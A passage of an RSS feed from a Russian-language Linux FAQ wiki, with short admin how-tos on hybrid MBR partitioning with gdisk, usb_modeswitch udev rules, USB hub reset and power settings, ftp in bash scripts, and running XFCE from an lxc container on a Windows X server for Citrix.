&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 Windows \u0441 \u0442\u0430\u043a\u043e\u0439 UEFI-\u0444\u043b\u0435\u0448\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_windows_\u0441_\u0442\u0430\u043a\u043e\u0439_uefi-\u0444\u043b\u0435\u0448\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;16871-18341&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;hybrid_mbr_-_гибридный_mbr&quot;&gt;Hybrid MBR - гибридный MBR&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.rodsbooks.com/gdisk/hybrid.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.rodsbooks.com/gdisk/hybrid.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.rodsbooks.com/gdisk/hybrid.html&lt;/a&gt; &lt;br/&gt;

Обычный &lt;strong&gt;GPT&lt;/strong&gt;-диск имеет запись &lt;strong&gt;MBR&lt;/strong&gt; с единственным разделом типа &lt;strong&gt;0xEE (EFI GPT)&lt;/strong&gt;, внутри которого размещаются разделы &lt;strong&gt;GPT&lt;/strong&gt;. &lt;br/&gt;

Гибридный &lt;strong&gt;MBR&lt;/strong&gt;, помимо основного раздела типа &lt;strong&gt;0xEE (EFI GPT)&lt;/strong&gt; может содержать сведения о дополнительных (до трех штук) разделах, границы которых совпадают с границами разделов, описанных в &lt;strong&gt;GPT&lt;/strong&gt;. &lt;br/&gt;

Таким образом, операционки и утилиты, которые не знают ничего про &lt;strong&gt;GPT&lt;/strong&gt; смогут работать и с &lt;strong&gt;GPT&lt;/strong&gt;-разделов. Просто сведения о них они будут получать из &lt;strong&gt;MBR&lt;/strong&gt;. &lt;br/&gt;

Очень важно, не давать таким утилитам и операционкам изменять таблицу разделов. В противном случае - они просто порушат &lt;strong&gt;GPT&lt;/strong&gt;. &lt;br/&gt;

Такая конфигурация не описана стандартами и разные ОС обрабатывают её по разному. Поведение различных ОС при встрече с таким чудом &lt;a href=&quot;https://www.rodsbooks.com/gdisk/hybrid.html#reactions&quot; class=&quot;urlextern&quot; title=&quot;https://www.rodsbooks.com/gdisk/hybrid.html#reactions&quot; rel=&quot;ugc nofollow&quot;&gt;описано тут&lt;/a&gt;. &lt;br/&gt;

Запускаем &lt;strong&gt;gdisk&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo gdisk $disk&lt;/pre&gt;

&lt;p&gt;
Переходим в &lt;strong&gt;Recovery/transformation&lt;/strong&gt; меню:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;r&lt;/pre&gt;

&lt;p&gt;
Теперь создаем гибридную запись &lt;strong&gt;MBR&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;h&lt;/pre&gt;

&lt;p&gt;
Программа спросит - какие разделы должны быть добавлены в таблицу разделов гибридной записи вводим их номера через пробел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Type from one to three GPT partition numbers, separated by spaces, to be
added to the hybrid MBR, in sequence:1 2 3 4&lt;/pre&gt;

&lt;p&gt;
Дальше - система спросит хотим ли мы разместить первой таблицу &lt;strong&gt;EFI&lt;/strong&gt;, чтобы работал &lt;strong&gt;GRUB&lt;/strong&gt;. Отвечаем &lt;strong&gt;yes&lt;/strong&gt;. &lt;br/&gt;

А также - какие коды типов присвоить разделам гибридной таблицы и делать ли их загрузочными. &lt;br/&gt;

Загрузочной делаем только 4-ю партицию. &lt;br/&gt;

Записываем изменения &lt;strong&gt;w&lt;/strong&gt;. &lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В двух словах - диск с гибридизированными разделами нельзя модифицировать утилитами, которые к этому не готовы (fdisk).   
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Hybrid MBR - \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 MBR&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;hybrid_mbr_-_\u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439_mbr&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;18342-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 16 Jan 2025 20:38:58 +0000</pubDate>
        </item>
        <item>
            <title>unmask_masked_service</title>
            <link>https://wiki.autosys.tk/linux_faq/unmask_masked_service</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://blog.ruanbekker.com/blog/2017/12/09/unmask-a-masked-service-in-systemd/&quot; class=&quot;urlextern&quot; title=&quot;https://blog.ruanbekker.com/blog/2017/12/09/unmask-a-masked-service-in-systemd/&quot; rel=&quot;ugc nofollow&quot;&gt;https://blog.ruanbekker.com/blog/2017/12/09/unmask-a-masked-service-in-systemd/&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>usb_device_default_mode</title>
            <link>https://wiki.autosys.tk/linux_faq/usb_device_default_mode</link>
            <description>
&lt;p&gt;
Иногда при подключении USB-устройства оно определяется в системе как накопитель (USB-flash или USB CD-ROM). Например - модемы или Wi-Fi адаптеры. &lt;br/&gt;

&lt;a href=&quot;https://www.linux.org.ru/forum/linux-hardware/10060236&quot; class=&quot;urlextern&quot; title=&quot;https://www.linux.org.ru/forum/linux-hardware/10060236&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.linux.org.ru/forum/linux-hardware/10060236&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;переключание_модема_в_режим_только_модем&quot;&gt;Переключание модема в режим &amp;quot;только модем&amp;quot;&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://linux-bash.ru/mseti/99-minicom.html&quot; class=&quot;urlextern&quot; title=&quot;http://linux-bash.ru/mseti/99-minicom.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://linux-bash.ru/mseti/99-minicom.html&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c \&amp;quot;\u0442\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0434\u0435\u043c\&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u043d\u0438\u0435_\u043c\u043e\u0434\u0435\u043c\u0430_\u0432_\u0440\u0435\u0436\u0438\u043c_\u0442\u043e\u043b\u044c\u043a\u043e_\u043c\u043e\u0434\u0435\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;299-438&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;usb_modeswitch&quot;&gt;usb_modeswitch&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://rus-linux.net/MyLDP/hard/modeswitch.html&quot; class=&quot;urlextern&quot; title=&quot;http://rus-linux.net/MyLDP/hard/modeswitch.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://rus-linux.net/MyLDP/hard/modeswitch.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://askubuntu.com/questions/1080944/automatically-use-usb-modeswitch-for-wifi-usb&quot; class=&quot;urlextern&quot; title=&quot;https://askubuntu.com/questions/1080944/automatically-use-usb-modeswitch-for-wifi-usb&quot; rel=&quot;ugc nofollow&quot;&gt;https://askubuntu.com/questions/1080944/automatically-use-usb-modeswitch-for-wifi-usb&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;usb_modeswitch&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usb_modeswitch&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;439-608&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;как_пользоваться_usb-modeswitch&quot;&gt;Как пользоваться usb-modeswitch&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install usb-modeswitch&lt;/pre&gt;

&lt;p&gt;
Мне нужно заставить работать &lt;strong&gt;USB Wi-Fi&lt;/strong&gt; донгл &lt;strong&gt;CF-WU782AC&lt;/strong&gt; на базе &lt;strong&gt;Realtek MT7612UN&lt;/strong&gt;. &lt;br/&gt;

При подключении он определяется как CD-ROM:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;idVendor=0e8d, idProduct=2870&lt;/pre&gt;

&lt;p&gt;
а должен определяться как &lt;strong&gt;Wi-Fi&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;idVendor=0e8d, idProduct=7612&lt;/pre&gt;

&lt;p&gt;
После установки пакета usb-modeswitch я проверяю файл &lt;strong&gt;/lib/udev/rules.d/40-usb_modeswitch.rules&lt;/strong&gt; и не обнаруживаю там ни строки &lt;strong&gt;2870&lt;/strong&gt;, ни &lt;strong&gt;7612&lt;/strong&gt;. &lt;br/&gt;

Значит придется их туда дописать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;ATTR{idVendor}==\&amp;quot;0e8d\&amp;quot;, ATTR{idProduct}==\&amp;quot;2870\&amp;quot;, RUN+=\&amp;quot;usb_modeswitch &amp;#039;/%k&amp;#039;\&amp;quot;&amp;quot; | sudo tee -a /lib/udev/rules.d/40-usb_modeswitch.rules&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f usb-modeswitch&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f_usb-modeswitch&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;609-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 03 Nov 2020 20:08:29 +0000</pubDate>
        </item>
        <item>
            <title>usb_hub_reset</title>
            <link>https://wiki.autosys.tk/linux_faq/usb_hub_reset</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;отключение_и_подключение_usb-хаба_к_шине&quot;&gt;Отключение и подключение USB-хаба к шине&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsusb &lt;/pre&gt;

&lt;p&gt;
И смотрим номер шины и девайса USB hub (их может быть несколько) - &lt;code&gt;Bus 00&lt;strong&gt;2&lt;/strong&gt; Device 00&lt;strong&gt;1&lt;/strong&gt;: ID 1d6b:0003 Linux Foundation 3.0 root hub&lt;/code&gt;. &lt;br/&gt;

Теперь находим идентификатиов и тип:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsusb -v -s 1:1 | grep &amp;#039;iSerial\|iProduct&amp;#039;

iProduct                2 xHCI Host Controller
iSerial                 1 0000:00:15.0&lt;/pre&gt;

&lt;p&gt;
Теперь можно отключить устройство (драйвер &lt;strong&gt;xhci_hcd&lt;/strong&gt; должен соответствовать типу &lt;strong&gt;iProduct&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo -n &amp;quot;0000:00:15.0&amp;quot; | sudo tee /sys/bus/pci/drivers/xhci_hcd/unbind&lt;/pre&gt;

&lt;p&gt;
убедиться что хаба нету:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lsusb&lt;/pre&gt;

&lt;p&gt;
и подключить обратно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo -n &amp;quot;0000:00:15.0&amp;quot; | sudo tee /sys/bus/pci/drivers/xhci_hcd/bind&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 USB-\u0445\u0430\u0431\u0430 \u043a \u0448\u0438\u043d\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0438_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_usb-\u0445\u0430\u0431\u0430_\u043a_\u0448\u0438\u043d\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-916&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;управление_питанием_usb-хаба&quot;&gt;Управление питанием USB-хаба&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.kernel.org/doc/html/v4.12/driver-api/usb/power-management.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.kernel.org/doc/html/v4.12/driver-api/usb/power-management.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.kernel.org/doc/html/v4.12/driver-api/usb/power-management.html&lt;/a&gt; &lt;br/&gt;

Смотрим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/bus/usb/devices/usb2/power/runtime_status&lt;/pre&gt;

&lt;p&gt;
И тут может быть либо &lt;strong&gt;suspended&lt;/strong&gt; либо &lt;strong&gt;active&lt;/strong&gt; &lt;br/&gt;

Включаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo -n &amp;#039;on&amp;#039; | sudo tee /sys/bus/usb/devices/usb2/power/control&lt;/pre&gt;

&lt;p&gt;
И на всякий случай выключаем &lt;strong&gt;autosuspend&lt;/strong&gt;, чтобы USB-устройства не засыпали:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;options usbcore autosuspend=-1&amp;#039; | sudo tee -a /etc/modprobe.d/usbcore.conf&lt;/pre&gt;

&lt;p&gt;
А если модуль usbcore вкомпилирован в ядро, то редактируем &lt;strong&gt;/etc/default/grub&lt;/strong&gt; и добавляем к &lt;strong&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;usbcore.autosuspend=-1 &lt;/pre&gt;

&lt;p&gt;
А потом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
и
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo reboot&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c USB-\u0445\u0430\u0431\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435_\u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c_usb-\u0445\u0430\u0431\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;917-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 25 Oct 2021 14:28:23 +0000</pubDate>
        </item>
        <item>
            <title>using_ftp_in_bash_scripts</title>
            <link>https://wiki.autosys.tk/linux_faq/using_ftp_in_bash_scripts</link>
            <description>
&lt;p&gt;
Получаем список файлов во временный файл &lt;strong&gt;/tmp/listing.txt&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ftp -nv &amp;lt;&amp;lt;EOF
open $hostname
user $username $password
cd $dir
nlist *abc.123.* /tmp/listing.txt
bye
EOF&lt;/pre&gt;

&lt;p&gt;
Находим последний файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;latest_file=`tail -1 /tmp/listing.txt`&lt;/pre&gt;

&lt;p&gt;
Скачиваем его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ftp -nv &amp;lt;&amp;lt;EOF
open $hostname
user $username $password
binary
cd $dir
get $latest_file
bye
EOF&lt;/pre&gt;

&lt;p&gt;
Проверяем количество свободного места:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ftp&amp;gt; site df -kl&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>using_openscap_in_ubuntu_16.04</title>
            <link>https://wiki.autosys.tk/linux_faq/using_openscap_in_ubuntu_16.04</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;использование_openscap_в_ubuntu_1604&quot;&gt;Использование openscap в Ubuntu 16.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container</title>
            <link>https://wiki.autosys.tk/linux_faq/using_windows_xserver_vcxsrv_with_graphical_applications_running_in_lxc_container</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне нужно опубликовать графическое приложение &lt;strong&gt;Linux&lt;/strong&gt;, которое исполняется в &lt;strong&gt;lxc&lt;/strong&gt;-контейнере, средствами &lt;strong&gt;Citrix&lt;/strong&gt;. &lt;br/&gt;

Применить стандартный подход, когда на &lt;strong&gt;linux&lt;/strong&gt;-машину устанавливается &lt;strong&gt;VDA&lt;/strong&gt; - не получается, поскольку &lt;strong&gt;VDA&lt;/strong&gt; требует прямого доступа к устройствам, а в контейнере это можно сделать не всегда. &lt;br/&gt;

В идеале после аутентификации на &lt;strong&gt;StoreFront&lt;/strong&gt; пользователь должен видеть иконку приложения, кликать ее и получать окно &lt;strong&gt;linux&lt;/strong&gt;-приложения (или графическое рабочее окружение), исполняющееся в &lt;strong&gt;lxc&lt;/strong&gt;-контейнере. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-947&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;реализация&quot;&gt;Реализация&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня есть &lt;strong&gt;lxc&lt;/strong&gt;-контейнер с установленой в нем оболочкой &lt;strong&gt;XFCE&lt;/strong&gt;, тестовая ферма &lt;strong&gt;Citrix&lt;/strong&gt;, с сервером, на котором я могу публиковать &lt;strong&gt;windows&lt;/strong&gt;-приложения.&lt;br/&gt;

На &lt;strong&gt;Windows&lt;/strong&gt;-сервере я запускаю &lt;strong&gt;X&lt;/strong&gt;-сервер &lt;a href=&quot;https://sourceforge.net/projects/vcxsrv/&quot; class=&quot;urlextern&quot; title=&quot;https://sourceforge.net/projects/vcxsrv/&quot; rel=&quot;ugc nofollow&quot;&gt;VcXsrv Windows X Server&lt;/a&gt; к которому будет подключаться графическое приложение-клиент (&lt;strong&gt;xfce4-session&lt;/strong&gt;) для отображения своих окон. &lt;br/&gt;

Для тестирования, при запуске &lt;strong&gt;VcXsrv&lt;/strong&gt; я его настраиваю так:
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Display settings: &lt;strong&gt;One Large Window&lt;/strong&gt;, &lt;strong&gt;Display number - 10&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Select how to start clients: &lt;strong&gt;Start a Program&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Specify program to start: &lt;strong&gt;Start program on remote computer&lt;/strong&gt; 
&lt;/div&gt;&lt;ul&gt;
&lt;li class=&quot;level2&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Remote program:
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;pre class=&quot;code&quot;&gt;DISPLAY=__win_host_name_or_ip__:10.0 xfce4-session &amp;amp;&lt;/pre&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Password: &lt;strong&gt;linux user password&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Connect to computer: &lt;strong&gt;IP-адрес (или имя) lxc-контейнера&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Login as user: &lt;strong&gt;имя пользователя в контейнере&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Extra Settings: &lt;strong&gt;Disable access control&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;
В итоге - &lt;strong&gt;VcXsrv&lt;/strong&gt; подключится к контейнеру по протоколу &lt;strong&gt;SSH&lt;/strong&gt; и запустит там сессию &lt;strong&gt;XFCE&lt;/strong&gt;, используя в качестве X-сервера &lt;strong&gt;VcXsrv&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;948-2444&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;подключение_существующих_сессий&quot;&gt;Подключение существующих сессий&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Например, я уже имею подключенную &lt;strong&gt;&lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;&lt;/strong&gt;-сессию с приложениями в &lt;strong&gt;lxc&lt;/strong&gt;-контейнере. Пользователь имеет доступ через &lt;strong&gt;xrdp&lt;/strong&gt;. Мне нужно, чтобы приложения (клиенты) этой &lt;strong&gt;&lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;&lt;/strong&gt;-сессии переехали на другой &lt;strong&gt;X&lt;/strong&gt;-сервер (с локального &lt;strong&gt;X&lt;/strong&gt;-сервера на удаленный). &lt;br/&gt;

&lt;a href=&quot;http://xpra.org/&quot; class=&quot;urlextern&quot; title=&quot;http://xpra.org/&quot; rel=&quot;ugc nofollow&quot;&gt;http://xpra.org/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
В двух словах как работает &lt;strong&gt;xpra&lt;/strong&gt;. 
На машине (или в контейнере) можно запустить что-то типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xpra start --start=firefox&lt;/pre&gt;

&lt;p&gt;
И в результате на машине (или в контейнере) режиме демона запустится X-сервер к которому присоединится окошко &lt;strong&gt;firefox&lt;/strong&gt;. &lt;br/&gt;

А дальше можно запустить на удаленной машине (&lt;strong&gt;linux&lt;/strong&gt; или &lt;strong&gt;windows&lt;/strong&gt;) &lt;strong&gt;xpra&lt;/strong&gt; в режиме клиента (на самом деле клиент и сервер &lt;strong&gt;xpra&lt;/strong&gt; - это одна и та же софтина) и выполнить &lt;strong&gt;attach&lt;/strong&gt; к этому окошку. Соединение приоизойдет по одному из протоколов (&lt;strong&gt;ssh&lt;/strong&gt;, &lt;strong&gt;tcp&lt;/strong&gt;, &lt;strong&gt;ssl&lt;/strong&gt; и всякое разное). &lt;br/&gt;

Вместо &lt;strong&gt;firefox&lt;/strong&gt; можно запустить и сессию рабочего стола. &lt;br/&gt;

Этот X-сервер будет работать в контейнере независимо от может быть уже запущенного &lt;strong&gt;Xorg&lt;/strong&gt;.  
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0435\u0441\u0441\u0438\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445_\u0441\u0435\u0441\u0441\u0438\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2445-4131&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;запуск_приложений_с_помощью_xpra&quot;&gt;Запуск приложений с помощью xpra&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;xpra --start=code --username=mike --ssh=&amp;quot;ssh -p 223&amp;quot; ssh:localhost&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e xpra&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043f\u0443\u0441\u043a_\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_xpra&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4132-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 08 Sep 2020 07:25:58 +0000</pubDate>
        </item>
        <item>
            <title>vmware_disk_expand_without_reboot</title>
            <link>https://wiki.autosys.tk/linux_faq/vmware_disk_expand_without_reboot</link>
            <description>
&lt;p&gt;
Задача - без перезагрузки системы расширить раздел (диск) на виртуальной машине &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt;, которая работает на &lt;strong&gt;VMWare&lt;/strong&gt;. &lt;br/&gt;

